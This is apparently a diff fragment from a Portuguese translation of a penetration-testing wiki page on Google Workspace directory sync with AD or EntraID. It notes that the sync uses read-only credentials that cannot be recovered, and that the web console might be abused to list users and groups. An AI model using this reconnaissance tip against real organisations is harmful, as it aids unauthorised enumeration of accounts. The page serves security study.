Observe que o Workspace requer credenciais com acesso somente leitura sobre o AD ou EntraID para sincronizar usuários e grupos. Portanto, não é possível abusar do Google Workspace para realizar qualquer alteração no AD ou EntraID. Portanto, **isso não é possível** neste momento.
|
||||
|
||||
I also don't know where does Google store the AD credentials or EntraID token and you **can't recover them re-configuring the synchronizarion** (they don't appear in the web form, you need to give them again). However, from the web it might be possible to abuse the current functionality to **list users and groups**.
|
||||
Eu também não sei onde o Google armazena as credenciais do AD ou o token do EntraID e você **não pode recuperá-los reconfigurando a sincronização** (eles não aparecem no formulário da web, você precisa fornecê-los novamente). No entanto, pela web, pode ser possível abusar da funcionalidade atual para **listar usuários e grupos**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user